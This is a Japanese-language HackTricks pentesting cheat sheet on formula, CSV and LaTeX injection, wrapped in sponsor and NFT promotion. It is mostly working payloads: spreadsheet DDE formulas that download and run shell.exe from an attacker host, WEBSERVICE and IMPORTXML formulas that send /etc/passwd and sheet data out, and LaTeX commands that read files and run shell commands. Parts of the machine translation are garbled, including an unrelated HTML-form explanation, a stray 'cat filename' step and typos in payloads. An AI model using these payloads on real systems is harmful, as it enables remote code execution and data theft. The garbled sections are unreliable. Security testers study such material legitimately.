hacktricks/pentesting-web/formula-doc-latex-injection.md

268 lines
20 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# フォーミュラ/CSV/ドキュメント/LaTeXインジェクション
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## フォーミュラインジェクション
### 情報
もし、**入力**が**CSVファイル**またはExcelで開かれる可能性のある他のファイルに**反映**されている場合、Excelシート内でユーザーが**ファイルを開く**か、Excelシート内の**リンクをクリック**すると、Excel **フォーミュラ**を実行することができるかもしれません。
{% hint style="danger" %}
現在、**Excelは外部からの読み込み時にユーザーに警告**を表示します(何度も)。これは、悪意のある行動を防ぐためです。そのため、最終的なペイロードにはソーシャルエンジニアリングに特別な注意が必要です。
{% endhint %}
### [ワードリスト](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### ハイパーリンク
**次の例は、最終的なExcelシートからコンテンツを外部に持ち出し、任意の場所にリクエストを実行するのに非常に便利です。ただし、リンクをクリックする必要がありますおよび警告プロンプトを受け入れる必要があります。**
例は[https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)から取得されました。
学校の学生記録管理システムの攻撃シナリオを想定しましょう。このアプリケーションでは、教師が学校の生徒の詳細を入力することができます。攻撃者はアプリケーションにアクセスし、アプリケーションを使用しているすべての教師を侵害したいと考えています。そのため、攻撃者はWebアプリケーションを介してCSVインジェクション攻撃を試みます。\
攻撃者は他の学生の詳細を盗む必要があります。そのため、攻撃者は学生の詳細を入力する際にハイパーリンクの式を使用します。
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png)
教師がCSVをエクスポートし、ハイパーリンクをクリックすると、機密データが攻撃者のサーバーに送信されます。
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_009.png)
エクスポートされたCSVファイルには、悪意のあるペイロードが含まれています。
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_010.png)
攻撃者のWebサーバーには、学生の詳細がログインされています。
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_011.png)
### RCE
この例が動作するには、次の設定を有効にする必要があります:\
ファイル → オプション → 信頼センター → 信頼センターの設定 → 外部コンテンツ → ダイナミックデータ交換サーバーランチを有効にする\
または、**古いバージョンのExcel**を使用します。
良いニュースは、**このペイロードはファイルが開かれると自動的に実行される**ことです(ユーザーが警告を受け入れる場合)。
次のペイロードで電卓を実行することが可能です **`=cmd|' /C calc'!xxx`**
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### LFI
**LibreOffice Calc**
* ローカルの/etc/passwdファイルから1行目を読み取ります`='file:///etc/passwd'#$passwd.A1`
* エクスフィルトします`=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
* 複数の行をエクスフィルトします`=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNSエクスフィルト`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
**DNSエクスフィルトペイロードの解析:**
* file:///etc/passwd#$passwd.A19 ローカルの/etc/passwdファイルから19行目を読み取ります
* ENCODEURL(file:///etc/passwd#$passwd.A19) 返されたデータをURLエンコードします
* MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41) サブストリングに似ていますが1文字目から41文字目までのデータを読み取りますこれはDNSホスト名の長さを制限する非常に便利な方法ですFQDNの文字数制限は254文字でありラベルサブドメインの文字数制限は63文字です
* SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“) %URLエンコードの特殊文字のすべてのインスタンスをダッシュに置き換えますこれにより有効なDNS文字のみが使用されることが保証されます
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) ファイルからの出力上記の処理が行われた後をFQDNと連結しますドメインの権限を持つホストにアクセスできる
* WEBSERVICE この存在しないDNS名に対してリクエストを行い、その後、DNSの権威名サーバー上のログを解析したりまたはtcpdumpなどを実行したりします。このサーバーは私たちが制御しています
### Google Sheets OOBデータエクスフィルト
まず、いくつかの興味深い関数を紹介しましょう。
**CONCATENATE**: 文字列を連結します。
```
=CONCATENATE(A2:E2)
```
**IMPORTXML**: XML、HTML、CSV、TSV、RSS、ATOM XMLフィードなど、さまざまな構造化データタイプからデータをインポートします。
```
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
```
**IMPORTFEED**: RSSまたはATOMフィードをインポートします。
```
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
```
**IMPORTHTML**: HTMLページ内のテーブルやリストからデータをインポートします。
```
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
```
**IMPORTRANGE**: 指定されたスプレッドシートからセルの範囲をインポートします。
```
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
```
**画像**: セルに画像を挿入します。
```
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
```
## LaTeXインジェクション
通常、インターネット上で見つけることができるLaTeXコードをPDFに変換するサーバーは、**`pdflatex`**を使用しています。\
このプログラムは、コマンドの実行を無効に許可するために3つの主要な属性を使用します
* **`--no-shell-escape`**`\write18{command}`構文を無効にします。texmf.cnfファイルで有効になっていても無効にします。
* **`--shell-restricted`**`--shell-escape`と同じですが、'安全な'事前定義のコマンドのセットに**制限**されますUbuntu 16.04では、リストは`/usr/share/texmf/web2c/texmf.cnf`にあります)。
* **`--shell-escape`**`\write18{command}`構文を有効にします。コマンドは任意のシェルコマンドです。この構文は通常、セキュリティ上の理由から許可されていません。
ただし、コマンドを実行するための他の方法もありますので、RCEを回避するためには`--shell-restricted`を使用することが非常に重要です。
### ファイルの読み取り <a href="#read-file" id="read-file"></a>
\[や$などのラッパーを使用してインジェクションを調整する必要がある場合があります。
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### 1行のファイルを読む
```html
<form action="/read-file" method="POST">
<input type="text" name="file" value="/etc/passwd">
<input type="submit" value="Read File">
</form>
```
このフォームは、指定されたファイルを読み取るために使用されます。`action`属性は、フォームが送信されたときにデータを送信するURLを指定します。`method`属性は、データの送信方法を指定しますこの場合はPOST。`input`要素の`name`属性は、送信されるデータの名前を指定します。`value`属性は、デフォルトのファイルパスを指定します。
攻撃者は、このフォームを使用して、`/etc/passwd`ファイルなどの機密情報を読み取ることができます。攻撃者は、`file`パラメータに悪意のある入力を提供することで、ファイルのパスを変更できます。これにより、攻撃者はシステム上の他のファイルを読み取ることができます。
この脆弱性を悪用するために、攻撃者は`file`パラメータに次のような入力を提供します。
```
/etc/passwd
```
攻撃者がこの入力を送信すると、サーバーは`/etc/passwd`ファイルを読み取り、その内容を返します。攻撃者は、この情報を使用して、システム上のユーザー名やパスワードなどの機密情報を取得することができます。
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### 複数行のファイルを読む
To read a file that contains multiple lines, you can use the following command:
複数行を含むファイルを読むには、次のコマンドを使用します。
```bash
cat filename
```
Replace `filename` with the name of the file you want to read.
`filename` の部分を読みたいファイルの名前に置き換えてください。
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### ファイルの書き込み <a href="#write-file" id="write-file"></a>
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### コマンドの実行 <a href="#command-execution" id="command-execution"></a>
コマンドの入力はstdinにリダイレクトされます。それを取得するために一時ファイルを使用します。
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
もしLaTexのエラーが発生した場合は、ベース64を使用して悪意のある文字を含まない結果を得ることを検討してください。
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### クロスサイトスクリプティング <a href="#cross-site-scripting" id="cross-site-scripting"></a>
[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)からの情報です。
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## 参考文献
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm\_campaign=hacktricks&utm\_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>